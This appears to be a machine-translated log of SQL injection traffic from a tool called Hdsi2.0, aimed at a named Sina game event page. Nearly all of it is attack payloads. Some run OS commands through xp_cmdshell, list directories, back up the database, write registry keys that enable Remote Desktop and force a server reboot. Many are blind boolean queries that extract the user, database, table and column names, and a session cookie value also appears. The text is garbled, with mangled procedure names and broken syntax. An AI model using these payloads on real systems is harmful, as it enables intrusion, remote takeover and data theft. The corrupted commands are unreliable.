Hdsi2.0 SQL Injection partial packet capture Analysis Statement

Hdsi2.0 SQL Injection partial packet capture Analysis Statement

Restore cmd

; Insert tb1 exec master.. xp_mongoshellnet user --

; Exec master. dbo. sp_addextendedproc xp_mongoshell, xplog70.dll --

Run the following command:

SQL:; ipconfig-all --

Dos:

; Drop table comd_list; create table comd_list (ComResult nvarchar (1000) INSERT comd_list exec master... xp_mongoshell
"Ipconfig

-All "--

GET/plaza/event/new/crnt_event_view.asp? Event_id = 57

And (Select char (94) + Cast (Count (1) as varchar (8000) + char (94) From [comd_list] Where 1 = 1)> 0

Column directory:
C: jiaozhu temporary table

; Drop table jiaozhu; create table jiaozhu (DirName VARCHAR (100), DirAtt VARCHAR (100), DirFile VARCHAR (100) INSERT jiaozhu
EXEC

MASTER .. XP_dirtree "c:", 1, 1 --

GET/plaza/event/new/crnt_event_view.asp? Event_id = 57

And (Select char (94) + Cast (Count (1) as varchar (8000) + char (94) From [jiaozhu] Where 1 = 1)> 0

Upload files:

Local path: C: Inetpubwwwrootcook.txt save location: c:

Database stored procedures:

; Exec master .. xp_mongoshell echo

Cdb_sid = 3 UrzOV; % 20cdb_cookietime = 2592000; % 20cdb_auth = VgcCBAJbVQxVAVMCVghTBFJUUQYDBQdTV1BWVQoKAQE6PwNX; %
20cdb_visitedfid = 12; % 2

0cdb_oldtopics = D8D> c :--

Database Backup: (delete temporary tables after upload)

; Drop table [xiaopan]; create table [dbo]. [xiaopan] ([cmd] [text]) --

; Insert into xiaopan (cmd) values (echoStr )--

; Declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = c:/backup database @ a to disk = @ s
DIFFERENTIAL, FORMAT --

; Drop table [xiaopan] --

Enable 3389:

; Declare @ r varchar (255) set @ r = hkey_local_machineexec master... xp_regwrite

@ R, softwaremicrosoftwindowscurrentversionetcache, enable, reg_sz, 0 ;-
---

Declare @ r varchar (255) set @ r = hkey_local_machineexec master... xp_regwrite @ r, softwaremicrosoftwindows

Ntcurrentversionwinlogon, shutdownwithoutlogon, reg_sz, 0 ;----

; Declare @ r varchar (255) set @ r = hkey_local_machineexec master... xp_regwrite

@ R, softwarepoliciesmicrosoftwindowsinstaller, enableadmintsremote, reg_dword, 1 ;----

Declare @ r varchar (255) set @ r = hkey_local_machineexec master... xp_regwrite @ r, systemcurrentcontrolsetcontrol
Erminal

Servert, senabled, reg_dword, 1 ;----

; Declare @ r varchar (255) set @ r = hkey_local_machineexec master... xp_regwrite

@ R, systemcurrentcontrolsetservicesermdd, start, reg_dword, 2 ;----

; Declare @ r varchar (255) set @ r = hkey_local_machineexec master... xp_regwrite

@ R, systemcurrentcontrolsetservicesermservice, start, reg_dword, 2 ;----

; Declare @ r varchar (255) set @ r = hkey_local_machineexec master... xp_regwrite hkey_users,. defaultkeyboard

Layoutoggle, hotkey, reg_sz, 1 ;----

; Declare @ r varchar (255) set @ r = hkey_local_machineexec master .. xp_javasshell iisreset/reboot ;----

Injection Analysis: Number-type SQL error message: Disable access

Use the keyword gem Park "You play and I smoke" to announce the winning list

_ Event_view.asp? Event_id = 57 "> http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp? Event_id = 57

Multi-sentence query support
Subquery support
Public permission
Current user dbo
Current library event

; Create table t_jiaozhu (jiaozhu varchar (200 ))

And 1 = 1
And 1 = 2
And (Select Count (1) from SYSObjects)> 0
And (select len (user) <32
; Declare @ a int --
And (IS_SRVROLEMEMBER (sysadmin) = 1
And (IS_MEMBER (db_owner) = 1
And (select len (user) <16
And (select len (user) <4
And (select len (user) <2
And (select len (user) <3
And (select len (user) <3
And (select len (user) <4
And (select ascii (substring (user, 1, 1) <80
And (select ascii (substring (user, 2, 1) <80
And (select ascii (substring (user, 3,1) <80
And (select ascii (substring (user, 104) <
And (select ascii (substring (user, 104) <
And (select ascii (substring (user, 104) <
And (select ascii (substring (user, 1, 1) <92
And (select ascii (substring (user, 2, 1) <92
And (select ascii (substring (user, 116) <
And (select ascii (substring (user, 1, 1) <98
...
...
...

And (select len (db_name () <16
And (select len (db_name () <8
And (select len (db_name () <4
...
...
...

And (select ascii (substring (db_name (), 1, 1) <80
And (select ascii (substring (db_name (), 2, 1) <80
And (select ascii (substring (db_name (), 5, 1) <85

Cross-database:

Guess database:

GET

And (Select top 1 len (name) from (Select top 2 dbid, name from [master] .. [sysdatabases]) T order by dbid desc) <8
And (Select top 1 len (name) from (Select top 2 dbid, name from [master] .. [sysdatabases]) T order by dbid desc) <4
And (Select top 1 len (name) from (Select top 2 dbid, name from [master] .. [sysdatabases]) T order by dbid desc) <6
And (Select top 1 len (name) from (Select top 2 dbid, name from [master] .. [sysdatabases]) T order by dbid desc) <7
...
...
...

And (Select top 1 ascii (substring (name, 2, 1) from (Select top 2 dbid, name from [master] .. [sysdatabases]) T order
Dbid

Desc) <104
And (Select top 1 ascii (substring (name, 3, 1) from (Select top 2 dbid, name from [master] .. [sysdatabases]) T order
Dbid

Desc) <104
...
...
...

And (Select top 1 len (name) from (Select top 4 dbid, name from [master] .. [sysdatabases]) T order by dbid desc) <5

The master is not a sa permission and cannot cross-Database

Name of the table to be guessed:

EventCategory

GET
And (Select top 1 unicode (substring (name, 2, 1) from (Select top 1 id, name from [EVENT] .. sysobjects where xtype = char (85 ))
T

Order by id desc) <80

And (Select top 1 unicode (substring (name, 11,1) from (Select top 1 id, name from [EVENT] .. sysobjects where xtype = char
(85) T

Order by id desc) <80

And (Select top 1 unicode (substring (name, 12, 1) from (Select top 1 id, name from [EVENT] .. sysobjects where xtype = char
(85) T

Order by id desc) <80

And (Select top 1 unicode (substring (name, 6, 1) from (Select top 1 id, name from [EVENT] .. sysobjects where xtype = char (85 ))
T

Order by id desc) <80

Name of the name to be guessed:

GET

And (select count (1) from EVENT... syscolumns A, EVENT... sysobjects B where A. id = B. id and B. name = EventCategory) <32
And (select count (1) from EVENT... syscolumns A, EVENT... sysobjects B where A. id = B. id and B. name = EventCategory) <48
And (select count (1) from EVENT... syscolumns A, EVENT... sysobjects B where A. id = B. id and B. name = EventCategory) <56
And (select count (1) from EVENT... syscolumns A, EVENT... sysobjects B where A. id = B. id and B. name = EventCategory) <60
And (select count (1) from EVENT... syscolumns A, EVENT... sysobjects B where A. id = B. id and B. name = EventCategory) <62
And (select top 1 len (name) from (select top 1 A. id, A. name from EVENT... syscolumns A, EVENT... sysobjects B where
A. id = B. id and

B. name = EventCategory order by A. name desc) T order by name asc) <35